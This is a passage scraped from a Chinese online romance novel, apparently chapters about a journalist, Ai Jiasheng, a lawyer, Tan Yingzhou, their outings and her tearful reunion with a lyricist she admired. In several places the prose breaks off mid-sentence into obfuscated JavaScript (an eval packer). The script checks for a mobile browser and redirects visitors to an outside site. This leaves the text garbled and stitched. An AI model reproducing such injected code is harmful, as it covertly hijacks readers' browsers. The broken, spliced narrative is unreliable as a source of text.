谈瀛洲:“以后,不是没有机会。” 艾嘉笙:“……” 这话说的太容易引人联想,艾嘉笙小声反驳:“我没有。” “没有就没有,”谈瀛洲看着她羞赧的小模样,笑得胸腔微震,“你脸红什么?” 艾嘉笙指出他的错误:“……因为你这话说的有歧义。” “我让他努努力,争取到时候能上你的采访名单,”谈瀛洲饶有兴致地问,“这话哪里有歧义?” 艾嘉笙:“……” 不要跟律师讲道理,真的好可怕。 她极为娇嗔地瞪了他一眼,避重就轻道:“谈瀛洲,你真的很搞笑。” 他听了,见招拆招:“那以后看见我的时候多笑笑,好不好?” 她别过脸,不回答。 他却不依不饶地,像个小孩一样,凑到她眼前追问:“好不好?” 她带着小小的不服气,但还是轻轻“嗯”了一声。 谈瀛洲看着她,心里瞬间软乎得不行,恨不得能一直跟她待在一起。 但考虑到她今天的工作量,他还是没忍心留她太久:“时间不早了,听完这首歌就送你回去,好不好?” 艾嘉笙:“好。” 歌声在时间的流逝中,渐渐接近尾声。 结果,就是在这个时候,发生了一则不太愉快的插曲。 有对母子应该是恰好经过这里。 其中的那个小男孩听歌听得入迷,于是,便停下脚步,拽住了身边人的衣服,对她说:“妈妈,我也想学弹吉他。” 结果,没想到,他妈妈听了,却当着众人的面,没好气道:“这都是些没用的东西,学什么学!” 小孩子一脸无辜地问:“那什么才有用?” “考一个好大学,学一个好专业,将来赚大钱,走了——”说着,那女人说一不二地把自己的孩子拽走了,边走边说,“咱不看这玩意儿,误人子弟。” 一则声音不小的对话,在这样的环境里响起,格外不合时宜。 看吉他弹奏者微微面露尴尬,在场的听众纷纷开口,驳斥着刚才那个女人说过的话: “你别听她的,她就是见识短。” “就是,照她这个意思,喜欢音乐的人就赚不了钱呗,真是搞笑。” “对啊,我也没见那些不喜欢音乐的人,都成为百万富翁。” “哈哈哈就是就是,你可千万别跟她一般见识,我们这一晚上都听得过瘾得很。” 艾嘉笙在不远处看着这一幕,忽然想起了一个还挺有意思的辩题,于是,开口问道:“谈瀛洲,我记得你本科是复旦的。” 谈瀛洲听了,嘴角有些得意地勾起:“你还挺关注我。” 艾嘉笙:“……” 不是,她之前怎么没发现这男人这么自恋。 “我这是职业本能。”她解释道。 “好,职业本能,”他夸得一本正经,“艾记者真的是专业又敬业。” “哎呀,你别打岔,”她总是被他逗得格外孩子气,“我都忘了我要问什么了。” “好好好,不打岔不打岔,你问。” “你怎么理解,复旦所谓的,自由而无用的灵魂。” 谈瀛洲不答反问:“你怎么理解?” “嗯……”艾嘉笙想了想说,“人不能太功利,要保持思想自由,允许一些热爱无用。” “那你觉得热爱无用吗?” “看你怎么界定有用和无用吧,如果按照刚才那个女人的价值体系,赚钱才是有用,那喜欢音乐确实应该归属于没用的范畴。” “我不这么觉得,我觉得即使在她如此偏颇的价值体系下,喜欢音乐依然有用。” 艾嘉笙没懂:“嗯?” “音乐不能让你赚钱,但音乐能让你更开心的赚钱,”他清沉的音色,在湖面上悠悠响起,“就像读书一样,读书也不能让你立马变现去赚钱,但读书能让你以更前瞻的思维和更广阔的视野去赚钱;让你赚钱的时候,精神不疲惫,让你遇到挫折的时候,灵魂有依靠。” 艾嘉笙还是第一次听到这样的解读,不自觉陷入沉思。 “听入迷了?”谈瀛洲在她面前打了个响指,“走了,回家了。” 艾嘉笙住的小区离奥体公园很近,不一会儿就到了,这次,保安在值班室,所以谈瀛洲登记后就把车开了进去。 在楼下停好车后,谈瀛洲侧身叫住她:“艾嘉笙。” 艾嘉笙正在解安全带的手一顿,抬眸看过去:“嗯?” 谈瀛洲:“我明天要去新加坡出差,周五晚上才能回来。” 金融峰会还有三天,艾嘉笙本来以为未来三天都有机会能看到他,结果没想到他要去国外出差,难免有些失落,声音低低地“哦”了一声:“一路平安。” 听出她语气里的那丝失落,谈瀛洲倒还挺得意,看着她说:“等我回来,好不好?” 她眼睛亮亮地点头:“嗯!” “快上去吧。” “拜拜,”朝他挥了挥手,艾嘉笙下了车,正要进去时,又转过身跟他道了声,“晚安。” “嗯,晚安。” 谈瀛洲站在楼下,看着她房间的灯光变亮,才开车离开。 可他不知道的是,阳台上的一个身影,也在将他的身影目送。 艾嘉笙倚在窗边,看着他的车缓缓离开,想起刚才在奥体公园的那一幕,心中陡然升出一种很奇妙的感觉。 她觉得,他真的如他们合奏的那首歌中唱的那样: “Old, but I’m not that old,” “Young, but I’m not that bold.” 成熟,却不世俗; 年轻,却不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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小姑娘太聪明,一经点拨,瞬间明白了自己的问题所在:“我知道了。” 沈彬喝了口水,把水杯放到桌面上,抬眼问她:“知道什么了,说说。” “我应该抛弃自己采访者的身份,不必非要以一问一答的形式来写文,而应该以一个旁观者的视角,去写这个人物身上发生的故事。就如您所说,有了故事性,才能有可读性,才能留住读者。” 沈彬听了,觉得这姑娘真是有灵气,低低笑了声,没再多说,朝她摆摆手:“行了,回去改吧。” 艾嘉笙听了,面上终于浮现出一抹笑意,微微颔首:“谢谢沈编,那我先过去了。” 结果,等她快要走到门口的时候,沈彬又叫住了她:“艾嘉笙。” 艾嘉笙转过身:“嗯?” 沈彬坐在办公椅上,仰头看着她,云淡风轻地,落了一句对她未来产生巨大影响的话: “要记住——” “好故事都长着翅膀,会自动飞入千家万户。” 13. 我有嘉宾 一个“故事性”的提出,让艾嘉笙豁然开朗。 之后的两天,她白天奔波在金融峰会现场,晚上则加班加点的将自己的采访稿完成。 周四傍晚,她终于将大改过的稿子给沈彬发了过去。 沈彬当时正在参加一个局,没有立即回复她。 一直到晚上八点,他才在回家的车上,打开手机,看起了艾嘉笙发过来的稿子。 这一看,便一气呵成地看完,中间没有任何停顿。 整篇稿子行文流畅,文笔老练,该铺垫时铺垫,该叙事时叙事,该深化时深化,看到最后,一个有担当有情怀的精英律师形象便跃然纸面。 沈彬看完,心想:这姑娘确实是一点就通,我真没看走眼。 - 与此同时,新加坡。 谈瀛洲忙完工作,和许久未见的老友,忙里偷闲地见了面。 吃过饭,卓峰看着要走的谈瀛洲,挽留道:“我说你着急明天就回国干什么,好不容易忙完一阵,轻轻松松地在这儿过个周末,然后再走,多好。” “这次真不行,”谈瀛洲迈着大步往外走,“下次,下次我肯定跟你好好聚,或者等你什么时候回北京,咱俩再约。” “北京?”卓峰扬声问,“我合同签了两年,等我回国的时候你应该已经回上海了吧。” 谈瀛洲听了,脚步微微顿了一下,说:“不一定。” “不一定?”卓峰不解地问,“当初不是说好,你只在北京办公室待一年吗?” “或许就留北京了。” “你爸妈能同意?” “行了行了,”谈瀛洲没回答他这个问题,“我先走了。” 跟卓峰告别后,谈瀛洲搭上了一辆出租车,十分钟后,车子停在了一家白色的办公楼前。 他付了钱,下车走了进去。 等他在大厅站定,他拿起手机发过去了一条消息。 过了会儿,就看到从电梯走出了一个女人,一身浅蓝色职业套装,身材窈窕,妆容精致。 谈瀛洲走上前去,礼貌问询:“你好,请问是顾小姐吗?” “我是。” “你好,我是谈瀛洲。” “你好,”两个人握了个手,“就是你给我发的邮件吧。” “是我,耽误你时间了,不好意思。” “没事,请问你今天找我来……” “是这样,我今天过来,确实有一事相求。” 顾染黎看着眼前这个英俊帅气但又没有任何印象的陌生男人,想了很久,也没想到他们之间有什么交集。 索性,直接问道:“什么事情呢?” “不知道顾小姐,这周末有没有时间——”谈瀛洲直言道,“跟我一起回趟国。” - 见完顾染黎,谈瀛洲便回了酒店。 只不过,这次他没有坐车,而是选择走了回去。 新加坡的夜景,格外赏心悦目。 谈瀛洲看着眼前的景色,忽然之间,格外思念。 于是,拿出手机,给某人去了个电话。 手机那端很快就被人接了起来,与此同时,传来一句清亮明快的:“喂~” 如果声音也能形象化,那她这声“喂”明显就是翘着尾巴的。 虽然她只说了一个字,但谈瀛洲还是听出了她话里的欣喜,嘴角也下意识跟她扬了起来:“什么事这么开心?” “我稿子通过啦!”艾嘉笙此时刚洗完澡,正躺在自己的床上,手机按了免提放在身前,她自己则是双手撑着下巴,白皙纤瘦的小腿高高翘起,嗓音清灵又生动,“然后沈主编刚才给我打电话,让我下周去航天所采访航天员,我真的好激动啊,我小时候就特别喜欢宇宙,没想到现在竟然有机会去采访航天员。” “艾记者真棒!”谈瀛洲毫不吝啬地肯定着,“那等我回去奖励你,好不好?” 艾嘉笙听了,不解地问:“你干嘛要奖励我?” 她这话的意思是:你也不是我什么人,我稿子写的好跟你也没啥直接关系,你干嘛要奖励我。 但谈瀛洲这个人的重点就抓得很蹊跷:“那不奖励你?惩罚你?” “……” “艾嘉笙,这就有点说不过去了吧。” “……” “怎么不说话?”谈瀛洲似乎能想象出她一脸语塞的可爱表情,笑得嗓音沉沉,“好了,不逗你了。” “……” 新加坡的夜晚,月光轻盈,艾嘉笙抬眸从窗户望过去,和他看着同一盏月。 天地万物都静悄悄的,两个人在这份安静里,默契地沉默了一会儿。 过一会儿,艾嘉笙拿起手机,忽然叫了他一声:“谈瀛洲。” “嗯。” “你是明天晚上的飞机吗?” “是,怎么了?” “我有件事要提前跟你说一下。” “什么?” “我刚接了我闺蜜的电话,她说她科二考过了。” 谈瀛洲:“?” “她考了三年,换了四个驾校,熬走了好几个教练,才考过。” 谈瀛洲:“……” “所以,这件事对她来说有着举足轻重的意义。” “所以呢?” “所以……我们早就约定好,等她考过就陪她出去玩。” 听到这儿,谈瀛洲已经能猜到她要说什么了,这要是别人,听到这儿肯定能心领神会这是要放他鸽子的意思,怕女孩子跌面,男孩子一般都会主动说没事,下次再约。 但谈瀛洲就非要她自己说出来,于是,继续追问:“所以呢?” “所以,”艾嘉笙莫名地有些紧张,“她这周末请我们这些朋友去山庄度假,明天晚上就走了,所以,你可能……” 谈瀛洲本来还想着她是不是终于要说到“我可能要被你放鸽子了?”结果,下一秒,就听到她接上一句:“要跟我一起去。” 谈瀛洲:“???” 卧槽? 这什么过山车? 看他那边一直不说话,艾嘉笙以为他是在为难,于是说:“你想去吗?你要是不想去的话……” “想去!”谈瀛洲打断她的话。 看着异国美景,他的声音温柔笃定:“艾嘉笙,我想去。” 她终于放下心来:“那我明天去机场接你吧。” “不用,你直接跟你朋友过去,然后把地址发给我,我到时候去找你们,好不好?” “我还是去接你吧。” “真不用,我明天是晚班机,不知道几点才能到,你先过去,等我到了给你打电话,好不好?” “嗯。” “不过,如果我十一点还没到,你们就别等我了,我们后天早上再见吧。” “嗯,好,那回见啦。” “嗯。” - 翌日傍晚,扫雷小分队继上次酒馆聚齐之后再次相聚在了山庄。 不过,周时勉一如既往的缺席。 所以,过来的依然是扫雷小分队的其中四个人,顾启安、乔琛、林蔷和艾嘉笙。 当然,乔橙也跟着乔琛来了,说是失恋了过来疗伤。 结束了一周的疲惫工作,大家到了山庄之后,都开始了难得的摆烂。 先是饱餐了一顿,吃完,什么也不想干,五个人就跑到一个露台下,开始看星星。 然后,有一搭没一搭地聊着。 知道林蔷过了科目二,乔琛拿起手中的酒杯跟她碰了一下,嘴上不饶人地恭喜道:“没想到啊,你真能上树。” 林蔷:“???” 我他妈? 想起他之前说过的一句“她要是能考到驾照,猪都能上树”,林蔷忍无可忍道:“乔琛,你去死!” 于是,原本安静的露台瞬间喧闹了起来,两个人“殊死搏斗”了好一番才重回安静。 “林蔷姐,”乔橙也听说过林蔷的钉子户事迹,难免好奇,“说真的,你这个驾校钉子户这次怎么考过了。” 艾嘉笙听了,悠悠笑了一声,意味深长道:“怕是教练太帅哦。” 乔橙:“什么情况?教练?” 艾嘉笙见状,一言不合就开始护闺蜜:“一个帅哥,秒杀你哥。” 乔琛:“???” 我他妈? 这世间,有一种友情,它们之所以存在,纯粹是因为仇还没报完。 “我说你们就准备在这里躺一晚上啊,”乔橙看着面前葛优瘫的四个“老年人”,瞬间有点后悔自己跟他们来了这里,“拜托,来都来了,好歹玩点儿什么吧。” “来一局扫雷吧,”一直沉默的顾启安突然发了声,“你们带电脑了没。” 因为都是下班后直接从公司或学校过来的,所以这次大家还真的带了电脑。 于是,功能以度假娱乐为主的山庄,就出现了非常迥异的一幕。 昏黄灯光笼罩下的露台上,二男二女并肩而坐,每个人面前都放着一个笔记本电脑,手里拿着一个鼠标。 他们将目光聚焦在各自的电脑屏幕上,像鹰一样,专注又精准。 众所周知,扫雷是一款Windows系统自带的小游戏,以成功扫出所有雷的用时作为评判标准。 而他们五个人,之所以称为扫雷小分队,就是因为几年前,他们都是这个游戏的佼佼者。 这个游戏,也是艾嘉笙唯一没有bug的游戏。 不会玩扫雷的乔橙:“……” 谁大老远的跑过来要看你们玩扫雷啊! 无语子! 真的无语子! 虽然无语,但临时充当报时器的乔橙还是听话地说了句:“开始。” 话音刚落,手指轻点鼠标的声音瞬间响起,一场无声的战争就此打响。 寂静的夜色里,坐在桌前的四个人目光专 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230455|165915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注,手指轻点鼠标的速度也是飞快。 他们玩的是扫雷高级版,因为面积较大,有人运气不好,第一下就选中了雷。 但是,即使选中了雷,也没有一个人面上浮出紧张的情绪,而是镇定地将界面清零,开始新一轮的比赛。 三十秒之后。 顾启安先松开了鼠标。 接着,是艾嘉笙。 然后,是林蔷和乔琛。 用时最短者,则是冠军。 于是,排名不言而喻。 艾嘉笙见了,调侃道:“你看我就说吵架伤身吧,以后看你俩还吵不吵。” “我这是让着她,”乔琛没好气道,然后朝顾启安挥了挥手,“走了哥们,看球赛去。” 两个大男人一走,三个女生自然就聊起了私密话题。 林蔷看着春风满面的艾嘉笙,眉梢一挑,饶有兴致地问:“我妹夫呢,不是今天晚上过来吗?” “你别瞎叫!”艾嘉笙简直服了她,“我们还没有在一起!” “好好好,不叫不叫,”看她脸颊浮上几缕娇嗔,林蔷越看越觉的有趣,于是从躺椅上坐了起来,拍了拍艾嘉笙的肩,“来来来,母胎solo,给姐们讲讲这个男人是怎么让你动春心了。” 艾嘉笙:“……” “就是感觉——”提起他,艾嘉笙嘴角总是浮着笑意,“他特别优秀。” “你这什么破理由?”林蔷无语,“难道顾启安不优秀,周时勉不优秀,认识他们这么久,我也没见你动心。” 乔橙听了,插进来一句:“我哥呢?” 林蔷听了,呵笑一声:“你哥那样的,根本到不了评判优不优秀这个程度。” “嗯?” “就他那样的花花公子,在你嘉笙姐这儿,第一关就给淘汰了,知道么?你嘉笙姐,爱情洁癖选手,就你哥那样三天换俩的,根本没上场资格。” 乔橙:“……” 哥,不是你妹不给你留情面,而是你群众基础真的太差。 “不只是优秀,”艾嘉笙很认真地解释,“我跟他待在一块,还特别舒服,就感觉他能接住我的每一个话题,然后,他给的答案,每次都能说到我的心坎,我以前,从来没有遇到过这么合拍的人。” 男才女貌,格外般配,听起来是多么具有幸福感的一个组合。 但林蔷听了,忽然想起发生在自己同事身上的一件事。 也就是前段时间,她一个同事谈了个男朋友,并且,感觉这个男朋友是哪哪儿都好,像是爱神为她量身定制的伴侣一样,于是,她很快就沦陷了进去。 结果,到了谈婚论嫁这一步,她才发现那个男孩都是装的。 万幸的是,及时止损。 当时她那个同事就说过一句话:“如果你遇到一个男人,觉得哪哪都跟你很匹配,那你一定要谨慎。” “嘉笙。”想到这儿,林蔷莫名有些担心。 “嗯?” “我比谁都希望你好,也比谁都希望你能找到一个爱你的人,但是你不觉得——” “什么?” “这个人太匹配你了么?” “嗯?” 于是,林蔷把前段时间发生在自己同事上的事情大致给她讲了一遍。 “他不会,”艾嘉笙听完,笃定道,“他跟别人不一样。” “行,那姐们就相信你的判断,你放心,他要是敢对你不好,我上去一脚就把他踹飞!” “……” 夜渐渐变深,夜聊的三个人也离开了露台,准备回房间睡觉。 他们相聚的这个露台在外面,不是房间自带的,所以她们回去的时候就自然要穿过住宿区的大厅。 林蔷跟个流氓一样,双手搭着艾嘉笙和乔橙的肩,一边往里走一边跟她们说着明天的安排。 就是在这个时候,一个身影,没有任何预兆地,落入艾嘉笙的视线。 前台站着一个女生,正在办理入住。 她穿着一件白色连衣裙,头发披在肩后,正在给工作人员递身份证。 从艾嘉笙这个角度看过去,只能看到她的侧脸,再加上几缕碎发遮挡,所以她看不完全。 虽然觉得不可思议,但艾嘉笙还是想要一探究竟,于是,动作利落地拂去了林蔷搭在她肩上的手,朝前台走去。 “你去哪儿?我们早办好入住了。”林蔷不解地问。 但艾嘉笙像是没听见一样,径直往前台走。 她走到前台的时候,似乎有心灵感应一样,那个女生也转头看了过来。 两个人四目相对。 看清那个人的一瞬间,艾嘉笙整个人僵在原地,像是在做梦。 微博清空,网易云停更,微信停用,Q.Q再无回复。 她数次留言、寻找,结果都是无果。 可此刻,她竟然像梦一般地出现在了她面前。 如故友,久别重逢。 14. 我有嘉宾 艾嘉笙的眼泪是在一瞬间落下来的。 顾染黎长这么大,还是第一次见这种哭法。 无声无息的,眼泪就这样,顺着脸颊往下落。 因此,纵然提前做好了心理准备,但顾染黎还是有些意料之外的,快步走到艾嘉笙面前,嗓音轻柔地问:“姑娘,你怎么了?” 听到她的声音,艾嘉笙轻轻吸了下鼻子,想要控制一下自己的情绪。 片刻后,她才抬眸,看着多年未见的顾染黎,没头没尾地问了一句:“你怎么不写歌了?” 没想到她会这样直截了当的问,顾染黎目光怔住,一时语塞。 艾嘉笙看着她,执着地,又问一遍:“你怎么不写歌了?” 不等她回答,又问一遍:“你怎么不写歌了?” 听到她接连三声的质问,顾染黎心里先是一惊,却又在转瞬之间,与她感同身受。 她环顾了下四周,觉得这实在不是一个聊天的好地方,轻轻叹了口气,动作轻柔地牵起艾嘉笙的手,提议道:“我们回房间说好不好?” 艾嘉笙睫毛沾染着几缕湿润,看着她,带着鼻音应道:“嗯。” 看她要跟一个陌生女人走,虽然那个女人看着很是面善,但林蔷还是不放心地走了过来,小声问了句:“嘉笙,这位是……” 艾嘉笙说:“她就是青禾。” 闻言,林蔷动作止住,所有的疑虑也在瞬间打消。 等两个人消失在视线中,乔橙才凑过来,一脸好奇地问:“林蔷姐,青禾是谁啊?” 林蔷听了,没直接回答,而是看着乔橙,问:“你今天多大了?” 乔橙说:“二十二。” 林蔷问:“你在这个年纪,最大的烦恼是什么?” 乔橙想了想,叹了口气,说:“情路太坎坷。” 林蔷听了,轻轻笑了一声:“那你已经比很多人都要幸运了。” - 大部分人二十二岁刚大学毕业,即将步入社会迎接新的洗礼,而有人早在这个年龄,把市井冷暖都尝过,然后,默不作声地,开启了一个全新的人生。 读小学时,艾嘉笙提前上了一年学,再加上她读五年级那年正好碰上学制改革的最后一年,所以她的年龄比班里的平均年龄都小两岁,十六岁就以优异的成绩考上了大学。 考上大学之后,她成绩依然优异,二十岁大学毕业,拿到了一个梦想公司的offer,当年那家公司发放的offer中,包括艾嘉笙在内,全国只招收了三个本科生。 这个机会太过难得,于是,艾嘉笙便在继续深造和工作之间,选择了工作。 工作第一年,虽然辛苦,但她从不抱怨,自己默默地积攒实力,一年后,她事业终于迎来一个明显的上升时期,但即将进行年中述职时,她接到自己祖父去世的噩耗。 等她重返工作岗位,才发现自己被人暗算,被人抢占了自己的成果。 艾嘉笙得知此事后,据理力争地为自己争取到了一个公道。 但这个残酷的社会从来不会为一个年轻人的年少轻狂买单。 这件事最后闹大,上了社会新闻,致使公司名誉受损,再加上抢她成果的那个人傍上了一个强大的后台,于是,艾嘉笙毅然选择离职。 也是在这个时候,她再次遇到了沈彬,沈彬看出她身上的才华,建议她报考国际传播方向的研究生。 她自幼擅长学习,考个研究生对她来说并非难事。 本以为一切都在好转、她的人生就要开始“柳暗花明又一村”了的时候,她又接到自己祖母离世的消息。 或许老人之间真的有心电感应,一个走了,另一个往往就撑不了多长时间。 她一年之内,失去工作,又失去两位至亲。 那是对她来说最难熬的一年。 她大哭了不知道多少次,才终于学会把思念看成守望,努力地、认真地去过好每一天。 后来,她以专业第一的成绩被理想大学录取,学到了自己喜欢的专业,工作也再次步入正轨。 但她,永远忘不了那些夜晚。 永远忘不了那些夜晚。 她跟父母报喜不报忧地说着自己的近况,实则,每天待在狭窄的出租房,一学就是一天。 尤其是到了晚上,庞如饕餮的思念,常常令她喘不过气,每到这个时候,她就会用高强度的学习来麻痹自己,如果还不行,她就会打开电脑,盯着滚动的歌词,让歌声陪伴自己,度过一个又一个无眠夜。 那首她单曲循环最多的歌,就是顾染黎写的。 “别忘了, “一场风雪后面, “步步紧逼的,就是一个隆重的春天。” 一句歌词,支撑她,捱过漫漫长夜。 这一年中,最难熬的时候,艾嘉笙给这首歌的词作者青禾发了一段长长的私信,以此来感谢她的文字带给她的力量。 当时,青禾给了她一句回复:那我就静候,降临在你身上的那个隆重春天咯。 后来,她终于迎来了自己人生的“沉舟侧畔千帆过,病树前头万木春”,又给青禾发了一段长长的文字来表达感谢。 只不过,没有得到回应。 她所有社交媒体的动态,都停留在了她为广播剧创作的一首片尾曲。 从此之后,销声匿迹,再也没有新歌发表。 艾嘉笙知道青禾的长相,还是一次偶然的机会,她去录音棚录架子鼓的音轨,偶然看到了在网络上从未露过面的词作青禾,只不过,她当时没有好意思上去要个联系方式。 后来,她多次私信无果后,终于去录音棚要到了她的私人联系方式,却发现电话已经成了空号。 青禾这个名字,对她来说,举足轻重。 所以,没能当面对她说一声感谢,一直是艾嘉笙心中的一个遗憾。 可没想到,命运就是这样的机缘巧合,让她们时隔多年后,以这样不可思议的方式,再次重逢。 暖黄色灯光晕染的房间里,顾染黎和艾嘉笙相对而坐。 换一个说法,是“青禾”和“纸上笙歌”相对而坐。 想起她刚才看到的“纸上笙歌”发来的那番私信,顾染黎抱着她,轻声安抚:“想哭就哭吧,哭完,我们就跟那个时候的自己,好好告个别,好不好?” 她声音轻柔,不需费力,就能与她感同身受。 曾几何时,顾染黎也是这样,每天晚上都在偷偷哭,哭的枕头都湿了,每天都是哭累了才睡着。 有时候正睡着,也会突然哭醒。 “嘉笙,”顾染黎轻轻拍着她的肩,“你觉得这首歌,给你带来了希望,对不对?” 艾嘉笙带着鼻音点头:“嗯。” “但你知道这首歌是在什么情境下写的吗?” 艾嘉笙想了想,很认真地答:“应该是一个好的情境。” 肯定是捱过了严寒的冬,冲破了凛冽的风,熬过了刺骨的痛,才能写出这样温暖、明亮、坚韧、不屈服的文字。 但顾染黎听了,却摇头道:“恰恰相反,那是我人生最黑暗的一段时光。” “当时我正在跟前公司打官司,一边打官司一边申请博士,申请博士需要雅思成绩,但我当时考了两次雅思都没有考过,每次都差了那么一点,五千块钱就这样打了水漂,除此之外,比金钱浪费更让我难受的,是自我怀疑和自我否定。” “英语明明是我的强项,可我却因为这个成绩,错过了这所学校的最后申请时间,再次申请要一年之后,一年的变数,太大了。” 她当时辞了工作,交过房租,考完两次雅思,口袋里只剩几百块钱。 那年,她二十七岁,口袋里只有几百块钱。 多丢人。 “所以,这便是我写那首歌的契机,它一点都不好。”顾染黎说道, “它的灵感,来源于暗沟,来源于黑暗,来源于深渊,来源于我对这个世界的痛骂和不得解。” 艾嘉笙一听,特别替她委屈:“你当时应该发个动态说一下的,我一定会帮你考过的。” “知道了,我们小嘉笙,可是个大学霸呢。”顾染黎笑着,抬手擦去她眼角的泪,“但这么丢人的事,我哪好意思发动态啊。” 艾嘉笙吸着鼻子问:“那你最后考过了么?” 顾染黎说:“考过了,考了7.5呢。” 艾嘉笙肯定道:“好高了。” “所以,看到成绩的那一刻,我忽然就跟自己和解了。”顾染黎娓娓道来着, “跟浪费的时间和解了,跟浪费的金钱和解了,跟浪费的青春和解了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230456|165915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “后来,虽然晚了一年,我依然成功申请到了理想大学的博士,充实地过完了我的大学生活,如今,找到了自己喜欢的工作,也逐渐实现了财务自由。” “有句话说,一切都是最好的安排。” “可如果你走不到最好的结局,这句话对你来说就是毒鸡汤。” “你走到了,这句话就是让你骄傲又释然的力量。” 艾嘉笙听着她走过来的这一路,难免与她共情:“还好你走到了,还好你走到了,还好你走到了……” 还好你走到了,我们才能够在此相逢,才能让我把多年的感谢和遗憾,都说出口。 “说到这里,我还要谢谢你。”顾染黎说。 “谢我什么?” “你知道么,你当时的那条消息,对我来说也是意义重大,它就像是一道惊雷,硬是冲破沉沉阴霾,给我的生活增添了一些光亮,让我知道,我的存在还是有价值的。” 顾染黎说着,重重吸了一口气,平复了下心情,才继续道:“你当时的那条留言,给了我可以哭的勇气。” 成人世界,哭好像只代表着妥协、懦弱和屈服。 所以,纵然那段时间再难,顾染黎都没有留下一滴泪,直到看到那条留言,她才终于肯定了自己的价值,也肯定了眼泪的价值。 哭,并不代表上述。 因为有个人向她证明,哭过的人,不会妥协,不会懦弱,也不会屈服。 所以,她放肆地大哭了一场,从此,心境翻转。 再之后,生活在咬牙坚持中,逐渐明媚。 网络的世界多神奇,文字的力量多坚定。 让两个素昧平生的人,互相拥抱着,度过了最难的那段时光。 “那你为什么不继续写词了?”艾嘉笙问。 听到这儿,顾染黎轻轻叹了口气:“写词又不是一个人的事,我得等人来找我呀,我也没什么名气,就没人找我了呗。” “再加上,我后来出国读书,就跟很多人断了联系。” “当然,最重要的,是我写的没那么好。” “不是的……”话一出口,艾嘉笙便控制不住,再次泪如雨下。 她抬手捂着自己的眼睛,哭得整个人都在颤抖。 顾染黎看着她这样哭,搂住她的肩,把她抱在怀里。 “我觉得——”艾嘉笙泪眼朦胧地枕在她肩上,“你写的词是全世界最好的。” “好,我写的词,是全世界最好的。” “我说是真的。” “我说的也是真的,”顾染黎看着她,心生怜惜,莫名地开始羡慕起某位男士来,“我们嘉笙,怎么哭起来也这么好看啊。” 她抬手擦去她的眼泪:“不哭了,几年前哭还有理由,但现在,我们都活成了自己最想要的样子,是不是?所以,我们不哭了,好不好?” 艾嘉笙听了,乖乖“嗯”了一声,眼睛红红地看着她:“师姐。” “嗯?” “如果我邀请你写词,你还会写吗?” - 谈瀛洲在房间踱步了不知道多少个回合,终于收到了顾染黎的微信。 看到之后,他便立刻从房间里跑了出来,然后,与正要给他打电话的艾嘉笙迎面撞上。 两个人的目光隔着月色,遥遥交错。 看着她泛红的鼻尖,谈瀛洲心疼得很,但还是以不能暴露身份的目的,跟她开玩笑道:“这才几天没见,就这么想我啊。” 艾嘉笙听了,也不反驳,就站在那里,静静看着他。 昏黄灯光下,他一如既往的白衣黑裤,长身直立。 或许是刚下飞机,眉眼间蕴着几缕倦色,但依然不损他的清隽帅气。 艾嘉笙看着他熟悉的眉眼,控制不住地,一股莫名的酸意直冲鼻端。 她在看到他的这一刻,突然之间明白了,刚才顾染黎所说的“跟当年的自己和解”是一种什么感觉。 如果那些风波的存在,是为了把她送至有他的彼岸。 那她心甘情愿,蛰伏等待,再为他而来。 想到这儿,她眼眶再次止不住泛湿。 “哭什么。”谈瀛洲看着她凝泪的双眼,嗓音温柔到不行,一边朝她走近,一边张开了手, “来,抱抱。”